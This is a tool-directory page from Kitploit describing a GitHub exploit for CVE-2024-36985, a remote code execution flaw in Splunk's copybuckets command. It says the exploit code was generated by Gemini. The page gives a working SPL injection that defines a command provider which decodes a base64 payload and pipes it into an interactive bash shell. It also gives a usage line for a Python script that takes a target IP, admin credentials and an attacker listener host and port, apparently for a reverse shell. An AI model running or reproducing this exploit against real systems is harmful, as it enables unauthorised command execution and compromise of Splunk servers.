Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-36985 — Splunk RCE exploit by the use of Copybuckets. Just for vulnerability research. | Kitploit
Tools/GitHubGitHub/littlesurii/cve-2024-36985
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHublittlesurii/cve-2024-36985

CVE-2024-36985

Splunk RCE exploit by the use of Copybuckets. Just for vulnerability research.

View Repository
17 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-36985

All the exploit codes are genetrated by gemini.
Splunk admin role required. Splunk_archiver application enabled.
You can also run below SPL in search to trigger the RCE.

root@kitploit:~
| copybuckets data="{\"providers\": {\"pwn_provider\": {\"command.arg.0\": \"/opt/splunk/etc/apps/splunk_archiver/java-bin/jars/sudobash\", \"command.arg.1\": \"-c\", \"command.arg.2\": \"{echo,YOUR_BASE64_PAYLOAD_HERE}|{base64,-d}|{bash,-i}\"}}, \"vixes\": {\"pwn_vix\": {\"provider\": \"pwn_provider\"}}}"

Usgae

root@kitploit:~
python3 CVE-2024-36985.py -t TARGET_IP -u SPLUNK_ADMIN -p SPLUNK_PASS --lhost YOUR_KALI_UP --lport YOUR_LISTEN_PORT
Download Tool